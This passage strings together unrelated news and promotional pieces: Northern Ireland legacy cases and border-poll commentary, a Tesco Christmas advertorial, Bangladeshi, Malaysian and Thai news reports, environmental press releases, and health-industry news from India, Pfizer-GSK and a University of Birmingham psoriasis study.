techniques, fresh eyes on intelligence reports and evidence gathered at the time of historic crimes together could easily produce justice for the bereaved in many cases. But, as the decisions demonstrate, achieving justice can be a very nuanced task. One of the cases involves 82-year-old Ivor Bell, who has yet to be arraigned on charges linked to the murder of west Belfast mother-of-10 Jean McConville more than 45 years ago. But a judge has deemed he is unfit to stand trial and that a jury may later be asked to determine the facts of the case, but not rule on Mr Bell's innocence or guilt. In that case he must remain presumed innocent of involvement in the crime. For Mrs McConville's family, who have fought valiantly to clear her name of accusations that she was an informer, and whose campaign uncovered the horror of the IRA's policy of the Disappeared - victims they killed and secretly buried - are left wondering what new leads can ever be uncovered. In the other case, the sister of a man shot dead by loyalist multiple murderer Michael Stone has won permission to challenge his eligibility to seek parole. Three of Stone's murders were captured on television when he opened fire at mourners at an IRA funeral in Milltown Cemetery. He also committed three other murders and was sentenced to 30 years, but released early on licence under the terms of the Good Friday Agreement. However, he was later returned to jail for attempting to kill Sinn Fein leaders Gerry Adams and Martin McGuinness at Stormont. Now the courts will be asked to consider if the six years he spent on licence should be considered part of his original sentence or whether he still has time to serve before being considered for parole. Deborah McGuinness, the sister of Milltown victim Thomas McErlean, understandably feels that a man guilty of six sectarian murders and who has shown recidivist tendencies should serve as long as possible behind prison bars. What is justice and can it really be achieved in many legacy cases? It is an interesting debating point, but one very relevant to bereaved relatives. If there was a border poll tomorrow, the chances are that I'd vote in favour of Irish unity. My children and I have also informed their English-born father that, despite insisting he wouldn't vote in any united Ireland referendum, because he doesn't think it's any of his business, we'll be locking him in a cupboard under the stairs like Harry Potter for the day, just in case he's tempted to sneak out when we're not looking and vote the "wrong" way. But there isn't going to be a border poll tomorrow - and that's fine. And if there was a border poll tomorrow, or next year, or whenever, and it came back in favour of Northern Ireland remaining part of the United Kingdom, that would be fine, too. Read More Isn't that the problem for diehard Irish nationalists? A united Ireland is a legitimate and romantic aspiration, but it's also low on the priorities of any except the most tunnel-visioned zealots. Ordinary life goes on regardless. The big constitutional questions loom in the background, ominous as Mount Everest in one way, but easy enough to ignore on a day-to-day basis. As peace continues and the Troubles fade further into history, it may even be that the desire for unity among nationalists in Northern Ireland takes on the flavour that it has for most people in the Republic, becoming what the Dublin-based author of a new book on the subject calls a "low-intensity" objective; one that's for the long-term, rather than immediately urgent. You wouldn't think so to read some recent headlines, which have made it appear as if the question of a united Ireland is one that's about to, and must, be settled once and for all. The reason for the giddiness is easy enough to pinpoint. Brexit has shaken things up to an extent that it suddenly feels to many commentators as if the political tectonic plates have shifted decisively in favour of Irish unity. And maybe they have. Who knows? Around the world, politics is in flux. We're in "anything can happen" territory. It's still curious how a belief that anything might happen has settled down in some sections of nationalist opinion to the certainty that only one thing can happen: Irish unity. As economics guru Dr Graham Gudgin pointed out in yesterday's Belfast Telegraph, things are not that simple. They rarely are. However much green-minded commentators, north and south, crunch the numbers to their hearts' content and come up with figures showing that a pro-unity majority is tantalisingly close, the deeper statistical reality seems to be that the population of those who identify as Irish has stabilised in recent years and, with no real difference anymore in the birth rate between Catholics and Protestants, overtaking unionists might not be so straightforward as once supposed. The automatic identification of all Catholics as nationalists and all Protestants as unionists is also far too simplistic. Gudgin probably overstates the number of the former who'd be reluctant to swap free school education and the NHS for the higher taxes and house prices in the south; but demographics is not destiny by a long shot. His was a timely reminder that excitable predictions of an imminent nationalist majority should be taken with a pinch of salt, especially when similar forecasts have been knocking around for decades in different forms and have yet to materialise. That's before any border poll campaign itself begins, when numerous other factors are bound to come into play, which conspire to push down the pro-unity vote. Fear and uncertainty played a crucial role in the Scottish independence and Brexit referendums. There's no reason to say the same thing wouldn't happen here. Not least, the prospect of a resurgence of violence, however mercifully limited, after a narrow vote to leave the UK would play on many people's minds. Campaigns are not foregone conclusions. Worth considering, too, is that, even at its soonest, a trip to the polling stations for a border poll remains some way off. Who knows what might happen between now and then to change the dynamic? What if - bear with me - Brexit simply isn't that bad as being predicted by naysayers? What if there's a bit of chaos at the start and then everything settles down to the new normal? Human beings are adaptable creatures. What if - an even more heretical thought - Brexit is a success? What if the UK economy booms outside the European Union? What, for that matter, if there's another eurozone crisis? That's even before other cultural factors come into play. Identity is a more complex phenomenon than can be explained by mere economics. No matter how much the UK booms, most Irish nationalists aren't going to warm to the notion of belonging to it. However much it goes into decline, most unionists aren't going to choose to leave it. Despite knowing full-well that, when push comes to shove, even unionists alarmed by Brexit will hesitate before voting in favour of becoming a minority in a united Ireland, republicans still keep pushing this superficial "next year in Jerusalem" narrative to fob off impatient supporters with a comforting fairy tale of unstoppable momentum. Otherwise, what was all the misery and mayhem for? There's something regressive about that approach, because, if you're always hoping that some future electoral show of hands will magically fix things, less attention inevitably gets paid to making them a bit better in the present. A united Ireland, much like a reunited Germany almost 30 years ago, probably is an inevitability - eventually. But eventually isn't a date. And it's definitely not a working policy for devolved government. Unionists, unhappy with the current state of politics, are invariably urged to keep faith in the Good Friday Agreement as the best way forward; but, then, why don't nationalists listen to what the 1998 accord likewise says about border polls, which is that it's wisest to park epoch-making constitutional issues until the desire for such change is unambiguous? Having a rolling campaign for an Irish unity poll while the Brexit dice are still up in the air seems guaranteed only to create uncertainty. And, of course, the DUP has created enough instability on its own by going gung-ho for a hard Brexit, despite the opposition of a majority of nationalists and significant minority of unionists in Northern Ireland, who value their European identity and who are fearful of the economic and political impacts of leaving the EU. If nationalists are reckless for agitating for a border poll during a time of political insecurity, then Brexit-cheerleading unionists are the last people with any right to chide them for it, when they're merrily stoking those fires in the first place. With the countdown to Christmas well and truly under-way, many families across Northern Ireland will be starting to plan their festive feasts. From party spreads, bubbles-filled brunches, delicious cheese boards, and the much-anticipated main event - however you do Christmas, everyone's welcome at Tesco. So, forget the partridge in a pear tree and the turtle doves, weve rounded up 12 ways of Christmas with some of the best in festive food and drink from Tesco. Great for parties and pairing with wine, this sharing platter of Spanish and Italian charcuterie features serrano ham, garlic salchichon, chorizo, beechwood-smoked speck, salami Milano and coppa, plus Manchego cheese. Finest Premier Cru Rose Champagne 75Cl - 22 If your festive party needs some bubbles, then pop open this lively pink fizz made with Premier Cru Chardonnay and Pinot Noir grapes. With a refreshing citrus taste and red berry flavours, this Champagne is also a lovely match for fruity desserts. Served as a luxurious brunch or the ultimate smoked salmon starter, this classic, cured fish is a great way to have a sophisticated start to your Christmas dining. This responsibly sourced salmon is cured and kiln-smoked over oak and beechwood for a delicate flavour. Then its left to mature to allow the flavour to develop before slicing. Taking inspiration from Thai cuisine, these vibrant and crispy rolls are filled with butternut squash, coconut, lemongrass and lime leaf, then wrapped in pastry and sprinkled with desiccated coconut, paprika and parsley, for a total harmony of flavour. Perfect for parties and sure to be a hit with guests. Contains 8 spring rolls Stuffed and basted frozen turkey joint (780g) - Was 5.00 now 3.75 For those opting for a traditional bird as the centrepiece for Christmas, this boneless turkey breast is effortlessly delicious. Tesco British turkeys are free to roam in spacious surroundings to ensure their wellbeing, which results in full-flavoured meat. Stuffed with pork, sage and onion, and basted with butter and rapeseed oil for extra succulence and richness. One of this years most popular trends has had a festive makeover and comes in the form of a hand-decorated baked delight. With chocolate flavoured sponge and frosting to match, the cake is finished with edible sugar decorations. This fun and chocolaty indulgence is sure to be a winner with guests of all ages this Christmas. Serves 14. Often a favourite for the festive period, simply pop this whole cheese, topped with dried berries and a Grand Marnier and cranberry glaze, into the oven to soften. Serve while still oozy and warm with hunks of bread so everyone can dip in. Great as a pairing for your festive desserts and cheese and a great way to round off a meal. This delicious Sherry is made in Jerez from grapes that are laid out to dry in the hot sun. This gives it a distinctively sweet, velvety finish with aromas of raisins and figs. For an alternative use, try pouring this sweet Sherry over vanilla or festive-spiced ice cream for an easy yet special dessert. This pudding, infused with Courvoisier Cognac, is made to a 100-year-old recipe and matured for 12 months for a deliciously moist texture and wonderful full flavour. As an indulgent finishing touch, try adding a sprinkle of cinnamon and soft brown sugar to double cream as you whip it, and serve with this pud. Serves 8 Pull out all the stops with these deep-filled gluten and milk-free treats. Rich crumbly pastry is packed with fruity mincemeat. Serves 4 This rich and flavoursome selection will create a tempting platter of beautiful cheeses which can be teamed with crackers and chutneys. Featuring Red Leicester Bite, matured for a distinctive crunch; St Endellion Brie, made with Cornish double cream; Montagnolo Affine mould, a soft cheese with subtle blue notes; nutty flavoured Le Gruyere AOP; and Wensleydale with cranberry and blueberry. To impress your guests, style with fruit such as figs, black grapes or pear. Serves 20 The humble cookie has been given a festive make-over. Filled with delicious mincemeat and dusted with fine sugar, you can either warm them up in the oven or devour them straight away. 8 pack. Whatever type of festive gathering youre hosting, from serving up the classics to creating new traditions everyones welcome at Tesco. Products available in selected Tesco stores across Northern Ireland (or online where applicable). Subject to availability, whilst stocks last. Prices correct at time of going to publication. Shop online now, visit www.Tesco.com Members of the Islamic Andolan Bangladesh, a political party, distribute campaign leaflets in Dhaka ahead of the national election, Dec. 17, 2018. Bangladeshs ruling party, whose roots lie in secularism, has garnered support from dozens of faith-based groups ahead of the Dec. 30 general election to counter a main rivals claim that its policies are anti-Islam, according to analysts and party officials. The Awami League, which heads a governing coalition that has ruled the Islamic majority country for the past decade, is following the lead of the opposition Bangladesh Nationalist Party (BNP) in attracting millions of Muslims who will vote in the polls, according to one political analyst. There was a misconception among the people that the Awami League had been a party against Islam. So, the Awami League associated the faith-based parties in the political activities as a deterrent of such an opposition campaign, Ataur Rahman, a former political science professor at Dhaka University, told BenarNews. As 80 percent of the voters are Muslims, Awami League cannot ignore the popular sentiment, so they must portray themselves as pro-Islamic and secular at the same time, he said. Awami is led by Prime Minister Sheikh Hasina, the daughter of Sheikh Mujibur Rahman, the assassinated first leader of Bangladesh who is considered the nations founding father and who spearheaded a pro-secular movement during the war of independence against Pakistan in 1971. Hasina is looking to win a fourth term overall and third consecutive one as prime minister. This time around, her party and its political allies are backed by six registered faith-based parties and another 55 non-registered parties including Hefazat-e-Islami, a conservative Muslim group that has supporters throughout Bangladesh. The election will be the first contested one in 10 years. While the parties can field candidates for the 299 parliamentary seats being contested, Awami has allocated two seats for Islamic parties if their candidates win at the polls. We have relations with the Islamic parties that oppose militancy and terrorism and support the war of independence. They may not have votes, but they matter, Hasan Mahmud, an MP and Awami League publicity secretary, told Benar. I do not mix politics with religion Lately, Hasina has led efforts to show that her party is more open to Muslim influence in developing policies that affect the entire nation. She caused consternation among Bangladeshis last year when she made concessions to Hefazat amid fears that growing Islamization was eclipsing the secular traditions of Bengali culture. Meeting with Hefazat leaders at her residence in April 2017, for instance, Hasina announced that her government would recognize degrees from thousands of unregulated Qwami madrassas Islamic boarding schools. She also agreed to changes in public school textbooks to make them more Muslim-friendly, as demanded by Hefazat. I follow religious guidelines, but I do not mix politics with religion, Hasina said in response to criticisms of her actions. Recognition of the Qwami madrassa certificate will bring jobs to lakhs [hundreds of thousands] of students. There is no politics in it. In recent years, Bangladesh has also seen a series of fatal attacks on secular writers and publishers by Muslim extremists. Following the first of these killings in 2013, Hasina visited the victims family and referred to him as a martyr during a speech to parliament. However, after a more recent attack, the prime minister placed some of the blame on the secular writers themselves. No one in this country has the right to speak in a way that hurts religious sentiment. You wont practice religion no problem. But you cant attack someone elses religion, Hasina said after the August 2015 slaying of secular blogger Niladri Chottopaddhya (also known as Niloy Neel.) They are like food coloring The opposition BNP, meanwhile, has aligned with Bangladeshs largest faith-based party, Jamaat-e-Islami (JI), even though the Election Commission deregistered it as a political party, meaning candidates cannot contest any election using its party name or symbol. JI has been controversial since the countrys independence because it opposed what was then known as East Pakistan breaking from West Pakistan. Many of the partys top leaders have since been executed for crimes against humanity allegedly committed during the 1971 war. Despite the ruling by the commission, JI leader Mia Ghulam Parwar told BenarNews that his group had taken steps to participate with a coalition of 20 parties headed by BNP. Separately, the BNP is a main party in a newly formed opposition alliance, the National Unity Front, which aims to unseat Awami at the polls. Parwar said JI had submitted a list of 50 potential candidates, who include sons of convicted war criminals. Among them are the son of Ali Ahsan Mohammad Mojaheed, the JI secretary general who was sentenced to death on Nov. 22, 2015; two sons of JI leader Delwar Hossain Sayeedi, who was sentenced to life in prison in 2014; a son of Abdul Quader Molla, who was sentenced to death on Dec. 12, 2013; and a son of Mir Quasem Ali, who was sentenced to death on Sept. 3, 2016. BNP has allocated 28 parliamentary seats to faith-based parties compared to the two by the Awami League. Of those, 23 have been allocated for JI leaders. BNP leader Moazzem Hossain Alal said the major parties were aware of the religious sentiment of voters. All political parties have been exploiting the Islamic parties, no matter whether they are registered or unregistered. This is because we have to show the voters that we are pro Islam; the Islamic leaders have been with us. And the religious leaders have also been exploiting the political parties, he told BenarNews. For instance, they are like food coloring; you cannot make food with just food coloring but it can make food attractive, Alal said. Muslim pilgrims walk toward Jamarat to cast stones at three pillars in the symbolic stoning of the devil on the last day of the annual hajj pilgrimage in Mina, outside the holy city of Mecca, Saudi Arabia, Aug. 23, 2018. A Malaysian court Wednesday ordered that the chief operating officer of an ailing state fund, which helps Muslims save money for their Mecca pilgrimage, be remanded for four days so the anti-corruption commission (MACC) could investigate bribery allegations, officials said. Adi Azuan Abdul Ghani, the 48-year-old COO of Tabung Haji, is suspected of using his position to employ an interior decorator appointed by the fund to do renovation work at his residence. He is the first top executive of the fund to be held for questioning amid allegations of financial misdeeds by senior officials there. Shah Wira Abdul Halim, a magistrate at the court in Putrajaya, ordered that Adi be held for questioning after hearing a request from investigators that he remain in custody for seven days while his lawyer asked for just three. I am setting remand for four days on Adi Azuan and his detainment will end on Saturday, Shah Wira said. Investigators said Adi could face a prison sentence of not more than 20 years and fines not less than five times the amount of the graft if charged and convicted of violating the Malaysian Anti-Corruption Act. He is suspected of receiving bribes from an individual who called himself an agent, and it is likely his remand order will be extended, lawyer Shaharudin Ali told reporters in the courthouse lobby. MACC sources who requested anonymity told BenarNews that Adi was being detained for receiving a gratuity in the form of a home renovation valued at 400,000 ringgit (U.S. $95,700). The bribe was allegedly given as a kickback after a company secured a project through Tabung Haji (TH) valued at 15 million ringgit ($3.6 million). The court action followed a complaint last week against other TH officials. On Friday, plantation company Trurich Resources filed a police report against three former TH top managers for allegedly misleading it in overpriced acquisitions of two palm oil plantations in Indonesia totaling $58 million (242.4 million ringgit). The complaint named former TH chief executive officer (CEO) Ismee Ismail, former TH Plantation Bhd CEOs Zainal Azwar and Rashidi Omar, as well as two Indonesians Rajasa Abdurachman and Badai Sakti Daniel as being complicit. In November, TH filed two police reports against Ismee, its former chairman Abdul Azeez Abdul Rahman, and several other senior management officers for alleged financial misconduct. Azeez denied the allegations. Launched in 1963, the 55-year-old Islamic fund was set up to manage the Muslim communitys savings for hajj pilgrimage that is free from interest in the form of usury that is frowned upon under Islamic law. Prime Minister Mahathir Mohamads government recently unveiled a plan to rescue TH, once seen as a model pilgrim fund management system among predominantly Muslim nations. The plan calls for the Ministry of Finance to take over nearly $5 billion (20.9 billion ringgit) of the underperforming assets of the fund starting in January. The government reported that the fund had been providing dividends to depositors even though it was reeling from a deficit, underscoring financial mismanagement during the administration of Mahathirs predecessor as prime minister, Najib Razak. Thai tycoon Premchai Karnasuta (left) walks to a provincial court in Thong Pha Phum, a district of Thailands Kanchanaburi province, where he and other defendants are standing trial over allegations of poaching a black panther at a national reserve, Dec. 19, 2018. One of Thailands richest tycoons testified Wednesday at his closed-door trial on charges that he and other defendants poached a black panther and other animals at a national wildlife reserve in western Kanchanaburi province early this year. Premchai Karnasuta, the president of construction giant Italian-Thai PLC, spoke to reporters as he walked with a cane to the provincial court in Thong Pha Phum district to testify and listen to another witness take the stand. Premchai was the first witness to testify as the trials defense-testimony phase began, court officials said. Excited, excited, said Premchai, who looked relaxed as he walked toward the courtroom before Wednesdays hearing, after arriving in a luxury SUV. Hours later, he had little to say as he emerged from the court. Im tired. ... Let it be the courts consideration, he told reporters. Prosecutor Somjet Ammuaysawat told BenarNews that the defense phase consisting of eight witnesses, including the defendants, would conclude by years end. I dont know when the court will call for a verdict, Somjet said. Premchai and his three alleged accomplices were arrested at Thung Yai Naresuan National Park in early February. In May, they pleaded not guilty and were released on bail after being indicted on six charges stemming from the alleged poaching of a black panther and other animals. Park rangers alleged that the four had the skinned carcass of a panther, as well as a Kalij pheasant and a barking deer three species protected under Thai law. Authorities released photos of rangers measuring the panthers pelt and announced they had seized three rifles and ammunition from Premchai. Premchai last appeared in court when his trial opened in late November. He has since skipped proceedings involving dozens of prosecution witnesses, citing health and job-related reasons. The court called for closed-door hearings because the case has been widely reported and officials expressed concern that reporting on testimony could cause contempt of court or affect the judicial process, according to defense lawyers, a prosecutor and an observer. In general, closed-door trials are reserved for national security or royal defamation cases. Reporters who waited outside received a note from a court official that Premchai had testified. Another defendant, Yong Dodkreu, was the only other witness in Wednesdays session. Premchai is getting better and is ready to give his accounts, Kijja Ali-Isho who represents Premchais co-defendant, told reporters while Premchais lawyer avoided talking to media because the court had asked him to be mindful of the cases sensitivity. Premchai and the others were indicted on charges of poaching in a wildlife sanctuary; hunting endangered species; possessing carcasses of endangered species; attempting to hide those carcasses; hunting in a forest reserve without a permit; and illegal possession of firearms. Permit and firearms violations each carry maximum sentences of 10 years while poaching carries a maximum sentence of five years. The Thong Pha Phum court also charged Premchai and one of his alleged accomplices with offering a bribe to rangers to not file charges. In addition, Premchai and his wife face charges in a Bangkok criminal court of possessing illegal firearms and illegally possessing four African elephant tusks. The black panther is a subspecies of the Indochinese black leopard, according to environmentalists who said about 900 to 2,500 remain in the wild, of which only 11 percent are the subspecies. Premchais company built Bangkoks Suvarnabhumi Airport and the Bangkok Metro system. In May 2017, Forbes magazine listed him among Thailands 50 richest people, with a net worth of at least U.S. $240 million (7.6 billion baht). On this exclusive, members-only event, Bill breaks down what you need to know about The Real Joe Biden. Who is he and how will he directly affect you and your family? Learn more about your ad choices. Visit megaphone.fm/adchoices For Immediate Release, December 20, 2018 Contact: Brett Hartl, (202) 817-8121, bhartl@biologicaldiversity.org Public Records Sought on Connection Between Trump Wildlife Agency Nominee, Montana Political Circles WASHINGTON The Center for Biological Diversity filed a Freedom of Information Act request today seeking public records documenting meetings between top Interior Department officials, Aurelia Skipwith Trumps nominee to direct the U.S. Fish and Wildlife Service and Skipwiths fiancee, Leo Giacometto. The request for records follows reporting by The Guardian documenting the web of connections between Giacometto, Skipwith, outgoing secretary of the Interior Ryan Zinke and Montana politicians. Giacometto is a long-time lobbyist and Montana political operative. He served in the Montana Legislature and was the director of agriculture for Gov. Marc Racicot, as well as the chief of staff for the late Sen. Conrad Burns (R-Mont.). His lobbying firm, Gage International, employs A.J. Rehberg, the son of former Montana Congressman Denny Rehberg. Cronyism is a way of life in the Trump administration, and the public has every right to know the details behind each nomination, especially one thats so important to the fate of our most endangered species, said Brett Hartl, government affairs director at the Center. With Zinke heading out the door, it is even more important for the public to have a full understanding of Skipworths connections to these Montana politicians and special interests before the Senate votes on her confirmation. In 2014 Skipwith and Giacometto founded AVC Global, an agricultural company. Skipwith became chief counsel at AVC in 2016. After Trumps election she was one of the first political operatives to arrive at the Department of the Interior, when in April 2017 she was appointed deputy assistant secretary for Fish, Wildlife and Parks. In October 2018 Skipwith was nominated to be the next director of the Fish and Wildlife Service. Its odd and totally unprecedented that someone with no wildlife conservation or fisheries experience has been nominated to oversee such large and important agency, Hartl said. During her limited time at the Department of the Interior, she helped enable the most anti-environmental agenda in the history of this nation. Giving her free rein at the Fish and Wildlife Service would be a disaster. During Skipwiths tenure as deputy assistant secretary for Fish, Wildlife and Parks, the Fish and Wildlife Service has repeatedly put the interests of industry ahead of imperiled wildlife, including an unprecedented weakening of nationwide protections for endangered species and migratory birds. Skipwith has repeatedly put the interests of the pesticide industry ahead of wildlife. Records that the Center obtained under the Freedom of Information Act show that she was integral in a decision to reverse a 2014 decision prohibiting bee-killing neonicotinoid pesticides on national wildlife refuges. She also helped derail the first nationwide assessments of the impacts of pesticides on endangered species. In her current position within the Interior Department, Skipwith was party to the National Park Services illegal review of the national monument system that enabled President Trump to roll back large-scale protections for Utahs Bears Ears and Grand Staircase-Escalante national monuments. For Immediate Release, December 20, 2018 Contact: Tiffany Yap, (510) 847-5838, tyap@biologicaldiversity.org Caltrans Failing to Collect Wildlife Collision Data for Accident Prevention Hitting Wildlife Injures Hundreds of California Motorists Every Year SACRAMENTO, Calif. The California Department of Transportation is failing to collect roadkill and wildlife-vehicle collision data that could help identify problem areas and protect drivers and animals like mountain lions, according to state documents obtained by the Center for Biological Diversity. In the documents received from the agency through a Public Records Act request an expert consultant discussed flaws in Caltrans districts reporting of large-animal collisions that could be of concern to human safety. California drivers hit at least 23,000 large animals a year, according to State Farm. Four of Caltrans 12 districts, including those covering Orange County, San Diego and the Sierra Nevada foothills, have not collected any roadkill data for the past seven years, documents show. Other districts seem to be underreporting roadkill and are not carefully reporting the locations of collision with big animals like deer and mountain lions. That makes it difficult to identify collision hotspots that could be addressed with wildlife crossings. You cant fix collision hotspots if you dont know where they are, and Caltrans isnt collecting data that could help make roads safer for people and animals, said Tiffany Yap, a Center scientist who reviewed the documents. The departments negligence is shocking when you think about how dangerous these accidents are to drivers and how much damage they do to Californias wildlife. Caltrans districts that did report roadkill data, including District 4 (the San Francisco Bay Area) and District 7 (Los Angeles and Ventura counties), had markedly fewer roadkill records starting in 2013 compared to previous years. This contradicts a recent study from the UC Davis Road Ecology Center, which identified wildlife vehicle collision hotspots in these Districts. Caltrans announced that about 2,000 reported wildlife-vehicle collisions on state roads in 2017 resulted in 12 human deaths and hundreds of people injured. Insurance claims show the state may actually suffer tens of thousands of such accidents. Many collisions with wildlife go unreported, which is why roadkill data are important. According to the UC Davis study, which considered reported collisions and roadkill, there were more than 7,000 collisions in 2017 that cost an estimated $300 million in hospital bills and property damage. The study also found an increasing trend in collisions with mountain lions and black bears over the past three years. Other western states including Arizona, Colorado and Utah are identifying collision hotspots and using wildlife-crossing infrastructure to achieve collision reductions of more than 80 percent. Poorly planned roads and traffic can fragment habitat and cause deadly collisions. A wide variety of animals, from mountain lions to newts, need habitat connectivity so they can roam to find food, shelter and mates or escape from natural disasters like fires or floods. Wildlife crossings can make roads safer for people and improve connectivity so animals can roam without getting run over, said Yap. But we need data to tell us where animals are getting hit and what kind of infrastructure would be most effective. Thats why Caltrans failures are so concerning. Today the Center submitted a comment letter on the California Transportation Plan 2050 urging Caltrans to prioritize funding and responsible action towards restoring wildlife connectivity on existing roads. The letter included a series of recommendations that range from collecting systematic wildlife vehicle collision data to upgrading existing culverts to facilitate wildlife connectivity. For Immediate Release, December 20, 2018 Contact: Elise Bennett, Center for Biological Diversity, (727) 755-6950, ebennett@biologicaldiversity.org David Whiteside, Tennessee Riverkeeper, (205) 527-7595, DWhiteside@TennesseeRiver.org Agreement Reached to Protect Endangered Spring Pygmy Sunfish Company to Provide $6 Million for Rare Fish Protection HUNTSVILLE, Ala. The Center for Biological Diversity and Tennessee Riverkeeper reached an agreement with Mazda Toyota Manufacturing, U.S.A. (MTMUS) to protect the critically endangered spring pygmy sunfish and minimize impacts from a planned automobile manufacturing plant in Huntsville, Ala. The agreement will protect at least 1,100 acres of the Beaverdam Spring and Creek Complex where the sunfish lives and provide $6 million to conserve the species and its habitat. The land will be protected in its natural state and restricted to low-impact uses. This agreement was reached after the Center raised concerns in a notice of intent to sue related to the Endangered Species Act implications of the development of a manufacturing plant in the area. The factory will be built adjacent to Beaverdam Creek west of Huntsville, which is one of only two places the spring pygmy sunfish survives. Were happy Toyota and Mazda have committed to doing the right thing for this pretty little sunfish and the unique spring where it survives, said Elise Bennett, a staff attorney at the Center. With this agreement, the sunfish has more than a fighting chance to make it. The agreement commits MTMUS to place $4 million in a restricted endowment fund that will provide permanent funding for future conservation projects to benefit the spring pygmy sunfish, including habitat restoration, captive propagation, genetic studies and reintroduction efforts. This agreement also will help ensure that citizens can continue to enjoy clean water, wildlife and new jobs, said David Whiteside, founder of Tennessee Riverkeeper. Clean, wholesome rivers are everyones right, and Tennessee Riverkeeper is dedicated to protecting that right. This agreement will benefit Huntsville and future generations of Americans. In addition to the endowment, $2 million will be dedicated to immediate habitat restoration and monitoring in the Beaverdam Spring and Creek watershed, including a project to restore the connection between Moss Spring and the other spring heads in the Beaverdam Spring and Creek Complex. Environmental sustainability and the conservation of natural habitat is a global priority for both Mazda and Toyota, said Mark Brazeal, Vice President of Administration, MTMUS. We are pleased that this effort to protect the sunfish and its habitat further demonstrates our commitment to protecting biodiversity, particularly regarding threatened and endangered species. We will continue to work with the conservation groups and environmental experts to develop our plant site sustainably. As part of the agreement, the Center for Biological Diversity and Tennessee Riverkeeper agree to move forward in cooperation with MTMUS, in lieu of potential legal challenges. The conservation groups will not receive any monetary benefit from the agreement. Background The MTMUS automobile manufacturing plant will be constructed on the Huntsville Megasite in Limestone County at the intersection of Powell Road and Old Highway 20. Once operational the manufacturing plant will be capable of producing 300,000 automobiles per year. The site of the future automobile plant is directly adjacent to the Beaverdam Spring and Creek complex, which until recently was believed to be the only remaining spring complex occupied by the spring pygmy sunfish. After a recent discovery in Blackwell Swamp in Wheeler National Wildlife Refuge, the sunfish is now known from only two locations in the world, both in northern Alabama. Global companies support the Make-in-India program and expect a fair opportunity to contribute to the Indian patients with their global products and have proved their worth time and again Medical Technology Association of India supports central governments decision to set up a National Medical Devices Promotion Council (NMDPC) and boost the Medical Device Industry in India. Suresh Prabhu, The Union Minister of Commerce and Industry and Civil Aviation at the 4th WHO Global Forum on Medical Devices has pointed out that the National Medical Devices Promotion Council (NMDPC), headed by the Secretary, DIPP, would achieve the much needed convergence as medical devices were previously being covered under various Ministries and departments. This will facilitate formulating better regulatory system in the medical devices sector. Pavan Choudary, Chairman, Medical Technology Association of India (MTaI) said, Within the overall health ecosystem, medical devices has remained a sector where focused attention is much required. Medical devices are different from other healthcare industries as they develop and grow based on a dynamic innovation and manufacturing ecosystem. Such a system is often born with the help of global legacy technology companies and also allows indigenous entrepreneurs and physicians to create and bring to market local medical technology. We welcome the governments decision to create a National Medical Devices Promotion Council (NMDPC) to boost the Medical Device Industry and MTaI will help in strengthening this ecosystem. The Medical Devices Industry (MDI) plays a critical role in the healthcare ecosystem. The manufacturing and trade in MDI is growing steadily in India. Currently with sufficient manufacturing capacity for low cost low risk devices such as surgical gloves; blood bags; extension lines, stop cocks, some IV access products and syringes, India is yet to see extensive growth spikes in high tech medical devices. To ensure patient safety, the industry is investing and focusing on constant technological innovation and upgradation. While the medical devices industry has been growing in double digits it is predominantly import-driven for medical devices with imports accounting for over 70% of the domestic market and around 80% for critical-care devices. The setting up of NMDPC will address the issue of expansion of domestic manufacturing for critical-care devices. The NMDPC order mentions about the robust Preferential Market Access (PMA) policy discouraging unfair trade-practices in imports. Robust tracking mechanisms from the government to streamline all trade practices have always been welcomed by all MTAI member companies. Our member companies strictly abide by stringent Drugs & Cosmetics Act and Tax (transfer pricing) laws, added Pavan Choudary. MTAI is looking forward to industry consultation as mentioned in the NMDPC order to set up a robust and dynamic preferential market access policy post industry feedback, trade interventions, emulating global best practices consulting multinational legacy companies. There is a requirement to bring in regulations which would incentivize global companies to invest in Indian companies through equity or sweat equity. This will not only attract more global companies to invest in India but also as a result lead to increase in FDI. said Pavan Choudary. "The last instance being when the current government brought FDI in medical technology on the automatic route on our recommendation and the FDI inflow sky rocketed from $63 million annually to $440 million annually in a span of less than two years, he added. Global companies support the Make-in-India program and expect a fair opportunity to contribute to the Indian patients with their global products and have proved their worth time and again. The joint venture will be a category leader in pain relief, respiratory, vitamin and mineral supplements, digestive health, skin health and therapeutic oral health. Pfizer Inc. and GlaxoSmithKline plc have entered into an agreement to create a premier global consumer healthcare company with robust iconic brands. The Boards of Directors of both companies have unanimously approved the transaction under which Pfizer will contribute its consumer healthcare business to GlaxoSmithKlines existing consumer healthcare business. The 2017 global sales for the combined business were approximately $12.7 billion. Under the terms of the transaction, Pfizer will receive a 32% equity stake in the joint venture, entitling Pfizer to its pro rata share of the joint ventures earnings and dividends, which will be paid on a quarterly basis. Pfizer will have the right to appoint three out of the nine members of the joint ventures board. The transaction is expected to deliver $650 million in peak cost synergies and to be slightly accretive for Pfizer in each of the first three years after the close of the transaction, which is anticipated during the second half of 2019, subject to receipt of GSK shareholder approval and regulatory approvals, and satisfaction of other customary closing conditions. The joint venture will be a category leader in pain relief, respiratory, vitamin and mineral supplements, digestive health, skin health and therapeutic oral health and will be the largest global consumer healthcare business. In addition, the joint venture is expected to be the first or second largest consumer healthcare player in key geographies, including the United States, Europe, China, India and Australasia. The joint venture will operate globally under the GSK Consumer Healthcare name. Molecule discovery holds promise for gene therapies for psoriasis Scientists at the University of Birmingham have discovered a protein that could hold the key to novel gene therapies for skin problems including psoriasis a common, chronic skin disease that affects over 100 million people worldwide. The protein is a fragment of a larger molecule, called JARID2, which was previously believed to only be present in the developing embryo, where it coordinates the formation of tissues and organs. However researchers led by Dr Aditi Kanhere from the University of Birminghams School of Biosciences found a shortened form of JARID2 in adult skin cells, and they showed it is responsible for ensuring these skin cells differentiate (become a more specialised cell type). They dubbed the newly discovered protein N-JARID2. The significance of this finding was immediately recognised by Dr Kanheres team, which studies how gene expression is regulated in normal and diseased conditions. Dr Kanhere explains: In some diseases, cells lose their ability to differentiate, and reproduce more rapidly. Being able to redirect cells back to their usual life cycle could alleviate the processes behind the disease. This is the case with psoriasis, which is caused by the rapid reproduction of skin cells. These excess cells are then pushed to the surface of the skin too quickly, resulting a build-up of cells that arent fully mature on the surface of the skin, and causing flaky, crusty red patches covered with silvery scales. Dr Kanheres research, published today in EMBO Journal, shows that N-JARID2 is present in the skin layers, where it is where it is responsible for ensuring that the tissues maintain their usual state of differentiation which is necessary to properly form skin layers. The discovery has caught the eye of the patenting team at University of Birmingham Enterprise, who filed a broad-based patent covering the use of N-JARID2 in therapies aimed towards conditions caused by hyper-proliferation of skin cells such as psoriasis. The research team is now investigating how N-JARID2 is generated and its wider implication in disease, while the patenting team hopes that this discovery will ultimately lead to novel therapies for skin conditions. 